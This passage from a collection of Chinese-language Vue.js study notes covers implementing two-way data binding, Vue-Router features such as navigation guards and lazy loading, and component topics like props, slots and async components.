 93 | 以上代码实现了任务一，我们可以看到，hello world已经呈现在输入框和文本节点中。
 94 | <img src="../Image/504.png" width=800>
 95 | 
 96 | ## 六、响应式的数据绑定
 97 | 
 98 | 再来看任务二的实现思路：当我们在输入框输入数据的时候，首先触发 input 事件（或者 keyup、change 事件），在相应的事件处理程序中，我们获取输入框的 value 并赋值给 vm 实例的 text 属性。我们会利用 defineProperty 将 data 中的 text 设置为 vm 的访问器属性，因此给 vm.text 赋值，就会触发 set 方法。在 set 方法中主要做两件事，第一是更新属性的值，第二留到任务三再说。
 99 | 
100 | <img src="../Image/601.png" width=800>
101 | <img src="../Image/602.png" width=800>
102 | 
103 | 任务二也就完成了，text 属性值会与输入框的内容同步变化：
104 | <img src="../Image/603.png" width=800>
105 | 
106 | ## 七、订阅/发布模式（subscribe&publish）
107 | 
108 |  text 属性变化了，set 方法触发了，但是文本节点的内容没有变化。如何让同样绑定到 text 的文本节点也同步变化呢？这里又有一个知识点：订阅发布模式。
109 | 
110 | 订阅发布模式（又称观察者模式）定义了一种一对多的关系，让多个观察者同时监听某一个主题对象，这个主题对象的状态发生改变时就会通知所有观察者对象。
111 | 
112 | 发布者发出通知 => 主题对象收到通知并推送给订阅者 => 订阅者执行相应操作
113 | 
114 | <img src="../Image/701.png" width=800>
115 | 
116 | 之前提到的，当 set 方法触发后做的第二件事就是作为发布者发出通知：“我是属性 text，我变了”。文本节点则是作为订阅者，在收到消息后执行相应的更新操作。
117 | 
118 | ## 八、双向绑定的实现
119 | 
120 | 回顾一下，每当 new 一个 Vue，主要做了两件事：第一个是监听数据：observe(data)，第二个是编译 HTML：nodeToFragement(id)。
121 | 
122 | 在监听数据的过程中，会为 data 中的每一个属性生成一个主题对象 dep。
123 | 
124 | 在编译 HTML 的过程中，会为每个与数据绑定相关的节点生成一个订阅者 watcher，watcher 会将自己添加到相应属性的 dep 中。
125 | 
126 | 我们已经实现：修改输入框内容 => 在事件回调函数中修改属性值 => 触发属性的 set 方法。
127 | 
128 | 接下来我们要实现的是：发出通知 dep.notify() => 触发订阅者的 update 方法 => 更新视图。
129 | 
130 | 这里的关键逻辑是：如何将 watcher 添加到关联属性的 dep 中。
131 | 
132 | <img src="../Image/801.png" width=800>
133 | 
134 | 在编译 HTML 过程中，为每个与 data 关联的节点生成一个 Watcher。Watcher 函数中发生了什么呢？
135 | <img src="../Image/802.png" width=800>
136 | 
137 | 首先，将自己赋给了一个全局变量 Dep.target；
138 | 
139 | 其次，执行了 update 方法，进而执行了 get 方法，get 的方法读取了 vm 的访问器属性，从而触发了访问器属性的 get 方法，get 方法中将该 watcher 添加到了对应访问器属性的 dep 中；
140 | 
141 | 再次，获取属性的值，然后更新视图。
142 | 
143 | 最后，将 Dep.target 设为空。因为它是全局变量，也是 watcher 与 dep 关联的唯一桥梁，任何时刻都必须保证 Dep.target 只有一个值。
144 | <img src="../Image/803.png" width=800>
145 | <img src="../Image/804.png" width=800>
146 | 
147 | 至此，hello world 双向绑定就基本实现了。文本内容会随输入框内容同步变化，在控制器中修改 vm.text 的值，会同步反映到文本内容中。
148 | 


--------------------------------------------------------------------------------
/Vue/Docs/Vue-Router.md:
--------------------------------------------------------------------------------
  1 | # Vue-Router 笔记
  2 | 
  3 | 基础
  4 | 
  5 | * [起步](#起步)
  6 | * [动态路由匹配](#动态路由匹配)
  7 | * [嵌套路由](#嵌套路由)
  8 | * [编程式的导航](#编程式的导航)
  9 | * [命名路由](#命名路由)
 10 | * [命名视图](#命名视图)
 11 | * [重定向和别名](#重定向和别名)
 12 | * [路由组件传参](#路由组件传参)
 13 | * [HTML5 History 模式](#html5-history-模式)
 14 | 
 15 | 进阶
 16 | 
 17 | * [导航守卫](#导航守卫)
 18 | * [路由元信息](#路由元信息)
 19 | * [过渡动效](#过渡动效)
 20 | * [数据获取](#数据获取)
 21 | * [滚动行为](#滚动行为)
 22 | * [路由懒加载](#路由懒加载)
 23 | 
 24 | ## 起步
 25 | 
 26 | ```js
 27 | const router = new VueRouter({
 28 |   routes // (缩写) 相当于 routes: routes
 29 | })
 30 | 
 31 | // 记得要通过 router 配置参数注入路由，
 32 | // 从而让整个应用都有路由功能
 33 | const app = new Vue({
 34 |   router
 35 | }).$mount('#app')
 36 | ```
 37 | 
 38 | Note：
 39 | 
 40 |     1、使用 router-link 组件来导航，使用 router-view 渲染匹配到的组件
 41 |     2、通过注入路由器，我们可以在任何组件内通过 this.$router 访问路由器，也可以通过 this.$route 访问当前路由：
 42 |     this.$route.params.username
 43 |     this.$router.push('/')
 44 |     this.$router.go(-1)
 45 | 
 46 | ## 动态路由匹配
 47 | 
 48 | | 模式 | 匹配路径 | $route.params |
 49 | | :- | :- | :- |
 50 | | /user/:username | /user/evan | { username: 'evan' } |
 51 | | /user/:username/post/:post_id | /user/evan/post/123 | { username: 'evan', post_id: 123 } |
 52 | 
 53 | ### 响应路由参数的变化
 54 | 
 55 | 使用 watch 监测变化
 56 | ```js
 57 | const User = {
 58 |   template: '...',
 59 |   watch: {
 60 |     '$route' (to, from) {
 61 |       // 对路由变化作出响应...
 62 |     }
 63 |   }
 64 | }
 65 | ```
 66 | 
 67 | 使用导航守卫 beforeRouteUpdate
 68 | ```
 69 | const User = {
 70 |   template: '...',
 71 |   beforeRouteUpdate (to, from, next) {
 72 |     // react to route changes...
 73 |     // don't forget to call next()
 74 |   }
 75 | }
 76 | ```
 77 | 
 78 | ### 高级匹配模式
 79 | 
 80 |     vue-router 使用 [path-to-regexp](https://github.com/pillarjs/path-to-regexp) 作为路径匹配引擎，所以支持很多高级的匹配模式
 81 | 
 82 | ### 匹配优先级
 83 | 
 84 |     匹配的优先级就按照路由的定义顺序
 85 | 
 86 | ## 嵌套路由
 87 | 
 88 | 示例：
 89 | ```js
 90 | /user/foo/profile                     /user/foo/posts
 91 | +------------------+                  +-----------------+
 92 | | User             |                  | User            |
 93 | | +--------------+ |                  | +-------------+ |
 94 | | | Profile      | |  +------------>  | | Posts       | |
 95 | | |              | |                  | |             | |
 96 | | +--------------+ |                  | +-------------+ |
 97 | +------------------+                  +-----------------+
 98 | ```
 99 | 
100 | **Notice:** 以 / 开头的嵌套路径会被当作根路径。 这让你充分的使用嵌套组件而无须设置嵌套的路径。
101 | 
102 | ## 编程式的导航
103 | 
104 | 语法：
105 | ```js
106 | router.push(location, onComplete?, onAbort?)
107 | ```
108 | 
109 | | 声明式 | 编程式 |
110 | | :- | :- |
111 | | `<router-link :to="...">` | `router.push(...)` |
112 | 
113 | 编程式导航方法：
114 | ```js
115 | // 字符串
116 | router.push('home')
117 | 
118 | // 对象
119 | router.push({ path: 'home' })
120 | 
121 | // 命名的路由
122 | router.push({ name: 'user', params: { userId: 123 }})
123 | router.push({ path: `/user/${userId}` })
124 | 
125 | // 带查询参数，变成 /register?plan=private
126 | router.push({ path: 'register', query: { plan: 'private' }})
127 | ```
128 | **注意：** 如果提供了 path，params 会被忽略，需要提供完整的带有参数的 path。
129 | 
130 | 其他API：
131 | ```js
132 | // 替换当前路由
133 | router.replace(location, onComplete?, onAbort?)
134 | // 在 history 记录中向前或者后退多少步
135 | router.go(n)
136 | ```
137 | 
138 | ## 命名路由
139 | 
140 | > 有时候，通过一个名称来标识一个路由显得更方便一些，特别是在链接一个路由，或者是执行一些跳转的时候。
141 | 
142 | 示例：
143 | ```js
144 | const router = new VueRouter({
145 |   routes: [
146 |     {
147 |       path: '/user/:userId',
148 |       name: 'user',
149 |       component: User
150 |     }
151 |   ]
152 | })
153 | ```
154 | 使用：
155 | ```html
156 | <router-link :to="{ name: 'user', params: { userId: 123 }}">User</router-link>
157 | ```
158 | ```js
159 | router.push({ name: 'user', params: { userId: 123 }})
160 | ```
161 | 
162 | ## 命名视图
163 | 
164 | 同时 (同级) 展示多个视图：
165 | ```html
166 | <router-view class="view one"></router-view>
167 | <router-view class="view two" name="a"></router-view>
168 | <router-view class="view three" name="b"></router-view>
169 | ```
170 | ```js
171 | const router = new VueRouter({
172 |   routes: [
173 |     {
174 |       path: '/',
175 |       components: {
176 |         default: Foo,
177 |         a: Bar,
178 |         b: Baz
179 |       }
180 |     }
181 |   ]
182 | })
183 | ```
184 | **Notice：** 一个视图使用一个组件渲染，因此对于同个路由，多个视图就需要多个组件。确保正确使用 components 配置 (带上 s)。
185 | 
186 | ## 重定向和别名
187 | 
188 | ### 重定向
189 | ```js
190 | const router = new VueRouter({
191 |   routes: [
192 |     { path: '/a', redirect: '/b' },
193 |     { path: '/a', redirect: { name: 'foo' }},
194 |     { path: '/a', redirect: to => {
195 |       // 方法接收 目标路由 作为参数
196 |       // return 重定向的 字符串路径/路径对象
197 |     }}
198 |   ]
199 | })
200 | ```
201 | 
202 | ### 别名
203 | 
204 | ```js
205 | const router = new VueRouter({
206 |   routes: [
207 |     { path: '/a', component: A, alias: '/b' }
208 |   ]
209 | })
210 | ```
211 | 
212 |     “重定向”是，当用户访问 /a时，URL 将会被替换成 /b，然后匹配路由为 /b
213 |     “别名”是，/a 的别名是 /b，意味着，当用户访问 /b 时，URL 会保持为 /b，但是路由匹配则为 /a
214 | 
215 | ## 路由组件传参
216 | 
217 | 组件中使用 $route 会使之与其对应路由形成高度耦合，使用 props 将组件和路由解耦。
218 | 
219 | ### 布尔模式
220 | 
221 | ```js
222 | const User = {
223 |   props: ['id'],
224 |   template: '<div>User {{ id }}</div>'
225 | }
226 | const router = new VueRouter({
227 |   routes: [
228 |     { path: '/user/:id', component: User, props: true },
229 | 
230 |     // 对于包含命名视图的路由，你必须分别为每个命名视图添加 `props` 选项：
231 |     {
232 |       path: '/user/:id',
233 |       components: { default: User, sidebar: Sidebar },
234 |       props: { default: true, sidebar: false }
235 |     }
236 |   ]
237 | })
238 | ```
239 | 
240 | ### 对象模式
241 | 
242 | ```js
243 | const router = new VueRouter({
244 |   routes: [
245 |     { path: '/promotion/from-newsletter', component: Promotion, props: { newsletterPopup: false } }
246 |   ]
247 | })
248 | ```
249 | 
250 | ### 函数模式
251 | 
252 | ```js
253 | const router = new VueRouter({
254 |   routes: [
255 |     { path: '/search', component: SearchUser, props: (route) => ({ query: route.query.q }) }
256 |   ]
257 | })
258 | ```
259 | 
260 | ## HTML5 History 模式
261 | 
262 |     vue-router 默认 hash 模式。
263 |     使用 history 模式时，需要后台配置支持。（如果后台没有正确的配置，当用户在浏览器直接访问 http://oursite.com/user/id 就会返回 404）
264 | 
265 | ## 导航守卫
266 | 
267 | > “导航”表示路由正在发生改变。
268 | 
269 | ### 全局守卫
270 | 
271 | ```js
272 | const router = new VueRouter({ ... })
273 | 
274 | router.beforeEach((to, from, next) => {
275 |   // ...
276 | })
277 | ```
278 | 
279 | 每个守卫方法接收三个参数：
280 | - to: Route: 即将要进入的目标 路由对象
281 | - from: Route: 当前导航正要离开的路由
282 | - next: Function: 一定要调用该方法来 resolve 这个钩子。执行效果依赖 next 方法的调用参数。
283 |   - next(): 进行管道中的下一个钩子。
284 |   - next(false): 中断当前的导航。
285 |   - next('/') 或者 next({ path: '/' }): 跳转到一个不同的地址。
286 |   - next(error)：导航会被终止且该错误会被传递给 router.onError() 注册过的回调。
287 | 
288 | ### 全局解析守卫
289 | 
290 |     可以用 router.beforeResolve 注册一个全局守卫。
291 |     这和 router.beforeEach 类似，区别是在导航被确认之前，同时在所有组件内守卫和异步路由组件被解析之后，解析守卫就被调用。
292 | 
293 | ### 全局后置钩子
294 | 
295 | ```js
296 | router.afterEach((to, from) => {
297 |   // ...
298 | })
299 | ```
300 | 
301 | ### 路由独享的守卫
302 | 
303 | ```js
304 | const router = new VueRouter({
305 |   routes: [
306 |     {
307 |       path: '/foo',
308 |       component: Foo,
309 |       beforeEnter: (to, from, next) => {
310 |         // ...
311 |       }
312 |     }
313 |   ]
314 | })
315 | ```
316 | 
317 | ### 组件内的守卫
318 | 
319 | ```js
320 | const Foo = {
321 |   template: `...`,
322 |   beforeRouteEnter (to, from, next) {
323 |     // 在渲染该组件的对应路由被 confirm 前调用
324 |     // 不！能！获取组件实例 `this`
325 |     // 因为当守卫执行前，组件实例还没被创建
326 |   },
327 |   beforeRouteUpdate (to, from, next) {
328 |     // 在当前路由改变，但是该组件被复用时调用
329 |     // 举例来说，对于一个带有动态参数的路径 /foo/:id，在 /foo/1 和 /foo/2 之间跳转的时候，
330 |     // 由于会渲染同样的 Foo 组件，因此组件实例会被复用。而这个钩子就会在这个情况下被调用。
331 |     // 可以访问组件实例 `this`
332 |   },
333 |   beforeRouteLeave (to, from, next) {
334 |     // 导航离开该组件的对应路由时调用
335 |     // 可以访问组件实例 `this`
336 |   }
337 | }
338 | ```
339 | 
340 | ### 完整的导航解析流程
341 | 
342 |     导航被触发。
343 |     在失活的组件里调用离开守卫。
344 |     调用全局的 beforeEach 守卫。
345 |     在重用的组件里调用 beforeRouteUpdate 守卫 (2.2+)。
346 |     在路由配置里调用 beforeEnter。
347 |     解析异步路由组件。
348 |     在被激活的组件里调用 beforeRouteEnter。
349 |     调用全局的 beforeResolve 守卫 (2.5+)。
350 |     导航被确认。
351 |     调用全局的 afterEach 钩子。
352 |     触发 DOM 更新。
353 |     用创建好的实例调用 beforeRouteEnter 守卫中传给 next 的回调函数。
354 | 
355 | ## 路由元信息
356 | 
357 | 定义路由的时候可以配置 meta 字段：
358 | ```js
359 | const router = new VueRouter({
360 |   routes: [
361 |     {
362 |       path: '/foo',
363 |       component: Foo,
364 |       children: [
365 |         {
366 |           path: 'bar',
367 |           component: Bar,
368 |           // a meta field
369 |           meta: { requiresAuth: true }
370 |         }
371 |       ]
372 |     }
373 |   ]
374 | })
375 | ```
376 | 
377 | > 一个路由匹配到的所有路由记录会暴露为 $route 对象 (还有在导航守卫中的路由对象) 的 $route.matched 数组。  
378 | 
379 | 在全局导航守卫中检查元字段：
380 | ```js
381 | router.beforeEach((to, from, next) => {
382 |   if (to.matched.some(record => record.meta.requiresAuth)) {
383 |     // this route requires auth, check if logged in
384 |     // if not, redirect to login page.
385 |     if (!auth.loggedIn()) {
386 |       next({
387 |         path: '/login',
388 |         query: { redirect: to.fullPath }
389 |       })
390 |     } else {
391 |       next()
392 |     }
393 |   } else {
394 |     next() // 确保一定要调用 next()
395 |   }
396 | })
397 | ```
398 | 
399 | ## 过渡动效
400 | 
401 | <router-view> 是基本的动态组件，所以我们可以用 <transition> 组件给它添加一些过渡效果：
402 | 
403 | ```html
404 | <transition>
405 |   <router-view></router-view>
406 | </transition>
407 | ```
408 | 
409 | ### 单个路由的过渡
410 | 
411 | ```js
412 | const Foo = {
413 |   template: `
414 |     <transition name="slide">
415 |       <div class="foo">...</div>
416 |     </transition>
417 |   `
418 | }
419 | 
420 | const Bar = {
421 |   template: `
422 |     <transition name="fade">
423 |       <div class="bar">...</div>
424 |     </transition>
425 |   `
426 | }
427 | ```
428 | 
429 | ### 基于路由的动态过渡
430 | 
431 | ```html
432 | <!-- 使用动态的 transition name -->
433 | <transition :name="transitionName">
434 |   <router-view></router-view>
435 | </transition>
436 | ```
437 | ```js
438 | // 接着在父组件内
439 | // watch $route 决定使用哪种过渡
440 | watch: {
441 |   '$route' (to, from) {
442 |     const toDepth = to.path.split('/').length
443 |     const fromDepth = from.path.split('/').length
444 |     this.transitionName = toDepth < fromDepth ? 'slide-right' : 'slide-left'
445 |   }
446 | }
447 | ```
448 | 
449 | ## 数据获取
450 | 
451 | 两种实现方式：
452 | 
453 | - 导航完成之后获取：先完成导航，然后在接下来的组件生命周期钩子中获取数据。在数据获取期间显示“加载中”之类的指示。
454 | - 导航完成之前获取：导航完成前，在路由进入的守卫中获取数据，在数据获取成功后执行导航。
455 | 
456 | ## 滚动行为
457 | 
458 | ```js
459 | const router = new VueRouter({
460 |   routes: [...],
461 |   scrollBehavior (to, from, savedPosition) {
462 |     // return 期望滚动到哪个的位置
463 |   }
464 | })
465 | ```
466 | 
467 | 返回滚动位置的对象信息：
468 | - { x: number, y: number }
469 | - { selector: string, offset? : { x: number, y: number }} (offset 只在 2.6.0+ 支持)
470 | 
471 | ## 路由懒加载
472 | 
473 | > 把不同路由对应的组件分割成不同的代码块，然后当路由被访问的时候才加载对应组件。
474 | > 结合 Vue 的异步组件和 Webpack 的代码分割功能，实现路由组件的懒加载。
475 | 
476 | ```js
477 | const Foo = () => import('./Foo.vue')
478 | ```
479 | **Notice:** 如果使用的是 Babel，需要添加 syntax-dynamic-import 插件，才能使 Babel 可以正确地解析语法。
480 | 
481 | 其他方式：
482 | ```js
483 | // 报表
484 | const Report = resolve => require(['@/components/pages/Report'], resolve)
485 | ```
486 | 
487 | ### 组件按组分块
488 | 
489 | ```js
490 | const Foo = () => import(/* webpackChunkName: "group-foo" */ './Foo.vue')
491 | const Bar = () => import(/* webpackChunkName: "group-foo" */ './Bar.vue')
492 | const Baz = () => import(/* webpackChunkName: "group-foo" */ './Baz.vue')
493 | ```
494 | 


--------------------------------------------------------------------------------
/Vue/Docs/Vue-advanced.md:
--------------------------------------------------------------------------------
  1 | # Vue 笔记（深入组件）
  2 | 
  3 | * [组件注册](#组件注册)
  4 | * [Prop](#prop)
  5 | * [自定义事件](#自定义事件)
  6 | * [插槽](#插槽)
  7 | * [动态组件 & 异步组件](#动态组件-&-异步组件)
  8 | * [处理边界情况](#处理边界情况)
  9 | 
 10 | ## 组件注册
 11 | 
 12 | ### 组件名
 13 | 
 14 | 两张定义方法：
 15 | ```js
 16 | // 使用 kebab-case(短横线分隔命名) 
 17 | Vue.component('my-component-name', { /* ... */ })
 18 | // 使用 PascalCase(驼峰式命名) 
 19 | Vue.component('MyComponentName', { /* ... */ })
 20 | ```
 21 | 
 22 | ### 全局和局部注册
 23 | ```js
 24 | // 全局注册
 25 | Vue.component('component-a', { /* ... */ })
 26 | 
 27 | // 局部注册
 28 | var ComponentA = { /* ... */ }
 29 | new Vue({
 30 |   el: '#app'
 31 |   components: {
 32 |     'component-a': ComponentA
 33 |   }
 34 | })
 35 | ```
 36 | 
 37 | ### 模块系统
 38 | 
 39 | 创建一个 components 目录，并将每个组件放置在其各自的文件中。
 40 | ```js
 41 | import ComponentA from './ComponentA'
 42 | import ComponentC from './ComponentC'
 43 | 
 44 | export default {
 45 |   components: {
 46 |     ComponentA,
 47 |     ComponentC
 48 |   },
 49 |   // ...
 50 | }
 51 | ```
 52 | 
 53 | ### 基础组件的自动化全局注册
 54 | 
 55 | 使用 require.context 全局注册通用的基础组件。
 56 | 全局注册的行为必须在根 Vue 实例 (通过 new Vue) 创建之前发生。
 57 | ```js
 58 | import Vue from 'vue'
 59 | import upperFirst from 'lodash/upperFirst'
 60 | import camelCase from 'lodash/camelCase'
 61 | 
 62 | const requireComponent = require.context(
 63 |   // 其组件目录的相对路径
 64 |   './components',
 65 |   // 是否查询其子目录
 66 |   false,
 67 |   // 匹配基础组件文件名的正则表达式
 68 |   /Base[A-Z]\w+\.(vue|js)$/
 69 | )
 70 | 
 71 | requireComponent.keys().forEach(fileName => {
 72 |   // 获取组件配置
 73 |   const componentConfig = requireComponent(fileName)
 74 | 
 75 |   // 获取组件的 PascalCase 命名
 76 |   const componentName = upperFirst(
 77 |     camelCase(
 78 |       // 剥去文件名开头的 `./` 和结尾的扩展名
 79 |       fileName.replace(/^\.\/(.*)\.\w+$/, '$1')
 80 |     )
 81 |   )
 82 | 
 83 |   // 全局注册组件
 84 |   Vue.component(
 85 |     componentName,
 86 |     // 如果这个组件选项是通过 `export default` 导出的，
 87 |     // 那么就会优先使用 `.default`，
 88 |     // 否则回退到使用模块的根。
 89 |     componentConfig.default || componentConfig
 90 |   )
 91 | })
 92 | ```
 93 | 
 94 | ## Prop
 95 | 
 96 | ### Prop 类型
 97 | 
 98 | ```js
 99 | props: {
100 |   title: String,
101 |   likes: Number,
102 |   isPublished: Boolean,
103 |   commentIds: Array,
104 |   author: Object
105 | }
106 | ```
107 | 
108 | ### 传递静态或动态 Prop
109 | 
110 | ```html
111 | <!-- 静态赋值：字符串类型独有 -->
112 | <blog-post title="My journey with Vue"></blog-post>
113 | <!-- 动态赋予一个变量的值 -->
114 | <blog-post v-bind:title="post.title"></blog-post>
115 | ```
116 | 
117 | ### 传入一个数字、布尔值、数组、对象、一个对象的所有属性
118 | 
119 | ```html
120 | <!-- 数字 -->
121 | <blog-post v-bind:likes="post.likes"></blog-post>
122 | <!-- 布尔值 -->
123 | <blog-post v-bind:is-published="post.isPublished"></blog-post>
124 | <!-- 数组 -->
125 | <blog-post v-bind:comment-ids="post.commentIds"></blog-post>
126 | <!-- 对象 -->
127 | <blog-post v-bind:author="post.author"></blog-post>
128 | <!-- 传入一个对象的所有属性 -->
129 | <blog-post v-bind="post"></blog-post>
130 | <!-- 上面等价于 -->
131 | <blog-post v-bind:id="post.id" v-bind:title="post.title"></blog-post>
132 | ```
133 | 
134 | ### 单向数据流
135 | 
136 | > 父级 prop 的更新会向下流动到子组件中，但是反过来则不行。每次父级组件发生更新时，子组件中所有的 prop 都将会刷新为最新的值。
137 | 
138 | ### Prop 验证
139 | 
140 | 常用验证方式：
141 | ```js
142 | Vue.component('my-component', {
143 |   props: {
144 |     // 基础的类型检查 (`null` 匹配任何类型)
145 |     propA: Number,
146 |     // 多个可能的类型
147 |     propB: [String, Number],
148 |     // 必填的字符串
149 |     propC: {
150 |       type: String,
151 |       required: true
152 |     },
153 |     // 带有默认值的数字
154 |     propD: {
155 |       type: Number,
156 |       default: 100
157 |     },
158 |     // 带有默认值的对象
159 |     propE: {
160 |       type: Object,
161 |       // 对象或数组默认值必须从一个工厂函数获取
162 |       default: function () {
163 |         return { message: 'hello' }
164 |       }
165 |     },
166 |     // 自定义验证函数
167 |     propF: {
168 |       validator: function (value) {
169 |         // 这个值必须匹配下列字符串中的一个
170 |         return ['success', 'warning', 'danger'].indexOf(value) !== -1
171 |       }
172 |     }
173 |   }
174 | })
175 | ```
176 | 
177 | 类型检查，type选项：
178 | - String
179 | - Number
180 | - Boolean
181 | - Array
182 | - Object
183 | - Date
184 | - Function
185 | - Symbol
186 | 
187 | ### 非 Prop 的特性
188 | 
189 | > 组件可以接受任意的非 Prop 特性，而这些特性会被添加到这个组件的根元素上。
190 | 
191 | 替换/合并已有的特性：style 和 class 特性会被合并，其他特性会被替换。
192 | 禁用特性继承：组件选项inheritAttrs: false。
193 | 
194 | ## 自定义事件
195 | 
196 | ### 事件名
197 | 
198 | ```js
199 | this.$emit('myEvent')
200 | ```
201 | 
202 | > 推荐使用 kebab-case 的事件名。
203 | 
204 | ### 自定义组件的 v-model
205 | 
206 | > 一个组件上的 v-model 默认会利用名为 value 的 prop 和名为 input 的事件。
207 | 
208 | ## 插槽
209 | 
210 | ### 插槽内容
211 | 
212 | > Vue 实现了一套内容分发的 API，将 <slot> 元素作为承载分发内容的出口。
213 | 
214 | ### 具名插槽
215 | 
216 | 示例：  
217 | 模板`<base-layout>`
218 | 
219 | `<slot>` 元素有一个特殊的特性：name。这个特性可以用来定义额外的插槽。
220 | ```html
221 | <div class="container">
222 |   <header>
223 |     <slot name="header"></slot>
224 |   </header>
225 |   <main>
226 |     <!-- 默认插槽，作为所有未匹配到插槽的内容的统一出口 -->
227 |     <slot></slot>
228 |   </main>
229 |   <footer>
230 |     <slot name="footer"></slot>
231 |   </footer>
232 | </div>
233 | ```
234 | 
235 | 使用：在一个父组件的 `<template>` 元素上使用 slot 特性。
236 | ```html
237 | <base-layout>
238 |   <template slot="header">
239 |     <h1>Here might be a page title</h1>
240 |   </template>
241 | 
242 |   <p>A paragraph for the main content.</p>
243 |   <p>And another one.</p>
244 | 
245 |   <template slot="footer">
246 |     <p>Here's some contact info</p>
247 |   </template>
248 | </base-layout>
249 | ```
250 | 
251 | 渲染结果：
252 | ```html
253 | <div class="container">
254 |   <header>
255 |     <h1>Here might be a page title</h1>
256 |   </header>
257 |   <main>
258 |     <p>A paragraph for the main content.</p>
259 |     <p>And another one.</p>
260 |   </main>
261 |   <footer>
262 |     <p>Here's some contact info</p>
263 |   </footer>
264 | </div>
265 | ```
266 | 
267 | ### 插槽的默认内容
268 | 
269 | > 可以在 `<slot>` 标签内部指定默认的内容
270 | 
271 | ### 编译作用域
272 | 
273 | > 父组件模板的所有东西都会在父级作用域内编译；子组件模板的所有东西都会在子级作用域内编译。
274 | 
275 | ### 作用域插槽
276 | 
277 | 示例：
278 | `<todo-list>`
279 | ```html
280 | <ul>
281 |   <li
282 |     v-for="todo in todos"
283 |     v-bind:key="todo.id"
284 |   >
285 |     <!-- 我们为每个 todo 准备了一个插槽，-->
286 |     <!-- 将 `todo` 对象作为一个插槽的 prop 传入。-->
287 |     <slot v-bind:todo="todo">
288 |       <!-- 回退的内容 -->
289 |       {{ todo.text }}
290 |     </slot>
291 |   </li>
292 | </ul>
293 | ```
294 | 使用：
295 | ```html
296 | <todo-list v-bind:todos="todos">
297 |   <!-- 将 `slotProps` 定义为插槽作用域的名字 -->
298 |   <template slot-scope="slotProps">
299 |     <!-- 为待办项自定义一个模板，-->
300 |     <!-- 通过 `slotProps` 定制每个待办项。-->
301 |     <span v-if="slotProps.todo.isComplete">✓</span>
302 |     {{ slotProps.todo.text }}
303 |   </template>
304 | </todo-list>
305 | ```
306 | 
307 | ### 解构 slot-scope
308 | 
309 | ```html
310 | <todo-list v-bind:todos="todos">
311 |   <template slot-scope="{ todo }">
312 |     <span v-if="todo.isComplete">✓</span>
313 |     {{ todo.text }}
314 |   </template>
315 | </todo-list>
316 | ```
317 | 
318 | ## 动态组件 & 异步组件
319 | 
320 | ### 在动态组件上使用 keep-alive
321 | 
322 | > 在组件之间切换的时候，可以保持这些组件的状态，以避免反复重渲染导致的性能问题。
323 | 
324 | ```html
325 | <!-- 失活的组件将会被缓存！-->
326 | <keep-alive>
327 |   <component v-bind:is="currentTabComponent"></component>
328 | </keep-alive>
329 | ```
330 | 
331 | ### 异步组件
332 | 
333 | > Vue 允许你以一个工厂函数的方式定义你的组件，这个工厂函数会异步解析你的组件定义。Vue 只有在这个组件需要被渲染的时候才会触发该工厂函数，且会把结果缓存起来供未来重渲染。
334 | 
335 | 示例1
336 | ```js
337 | Vue.component('async-example', function (resolve, reject) {
338 |   setTimeout(function () {
339 |     // 向 `resolve` 回调传递组件定义
340 |     resolve({
341 |       template: '<div>I am async!</div>'
342 |     })
343 |   }, 1000)
344 | })
345 | ```
346 | 
347 | 示例2，结合webpack的code-splitting 功能
348 | ```js
349 | Vue.component('async-webpack-example', function (resolve) {
350 |   // 这个特殊的 `require` 语法将会告诉 webpack
351 |   // 自动将你的构建代码切割成多个包，这些包
352 |   // 会通过 Ajax 请求加载
353 |   require(['./my-async-component'], resolve)
354 | })
355 | ```
356 | 
357 | 示例3，在工厂函数中返回一个 Promise
358 | ```js
359 | Vue.component(
360 |   'async-webpack-example',
361 |   // 这个 `import` 函数会返回一个 `Promise` 对象。
362 |   () => import('./my-async-component')
363 | )
364 | ```
365 | 
366 | ## 处理边界情况
367 | 
368 | ### 访问根元素
369 | 
370 | ```js
371 | this.$root.XXX
372 | ```
373 | 
374 | ### 访问父级组件实例
375 | 
376 | ```js
377 | this.$parent.XXX
378 | ```
379 | 
380 | ### 访问子组件实例或元素
381 | 
382 | ```html
383 | <base-input ref="usernameInput"></base-input>
384 | ```
385 | ```js
386 | this.$refs.XXX
387 | ```
388 | 
389 | ### 依赖注入
390 | 
391 | 父级组件
392 | ```js
393 | provide: function () {
394 |   return {
395 |     getMap: this.getMap
396 |   }
397 | }
398 | ```
399 | 
400 | 子级孙子级组件
401 | ```js
402 | inject: ['getMap']
403 | ```
404 | 


--------------------------------------------------------------------------------
/Vue/Docs/Vue-basic.md:
--------------------------------------------------------------------------------
  1 | # Vue 笔记（基础部分）
  2 | 
  3 | * [Vue 实例](#vue-实例)
  4 | * [模板语法](#模板语法)
  5 | * [计算属性和侦听器](#计算属性和侦听器)
  6 | * [Class 与 Style 绑定](#class-与-sstyle绑定)
  7 | * [条件渲染](#条件渲染)
  8 | * [列表渲染](#列表渲染)
  9 | * [事件处理](#事件处理)
 10 | * [表单输入绑定](#表单输入绑定)
 11 | * [组件基础](#组件基础)
 12 | 
 13 | ## Vue 实例
 14 | 
 15 | ### 创建一个 Vue 实例
 16 | ```js
 17 | var vm = new Vue({
 18 |   // 选项
 19 | })
 20 | ```
 21 | 
 22 | ### 数据与方法
 23 | 
 24 | > 当一个 Vue 实例被创建时，它向 Vue 的响应式系统中加入了其 data 对象中能找到的所有的属性。当这些属性的值发生改变时，视图将会产生“响应”，即匹配更新为新的值。
 25 | 
 26 | ```js
 27 | // 我们的数据对象
 28 | var data = { a: 1 }
 29 | 
 30 | // 该对象被加入到一个 Vue 实例中
 31 | var vm = new Vue({
 32 |   data: data
 33 | })
 34 | 
 35 | // 获得这个实例上的属性
 36 | // 返回源数据中对应的字段
 37 | vm.a == data.a // => true
 38 | 
 39 | // 设置属性也会影响到原始数据
 40 | vm.a = 2
 41 | data.a // => 2
 42 | 
 43 | // ……反之亦然
 44 | data.a = 3
 45 | vm.a // => 3
 46 | 
 47 | ```
 48 | **Note:** Object.freeze() 会阻止修改现有的属性，意味着响应系统无法再追踪变化。
 49 | 
 50 | > 除了数据属性，Vue 实例还暴露了一些有用的实例属性与方法。它们都有前缀 $，以便与用户定义的属性区分开来。
 51 | 
 52 | ```js
 53 | var data = { a: 1 }
 54 | var vm = new Vue({
 55 |   el: '#example',
 56 |   data: data
 57 | })
 58 | 
 59 | vm.$data === data // => true
 60 | vm.$el === document.getElementById('example') // => true
 61 | 
 62 | // $watch 是一个实例方法
 63 | vm.$watch('a', function (newValue, oldValue) {
 64 |   // 这个回调将在 `vm.a` 改变后调用
 65 | })
 66 | ```
 67 | 
 68 | ### 实例生命周期钩子
 69 | 
 70 | 生命周期图示（滚动图片）：
 71 | 
 72 | <div>
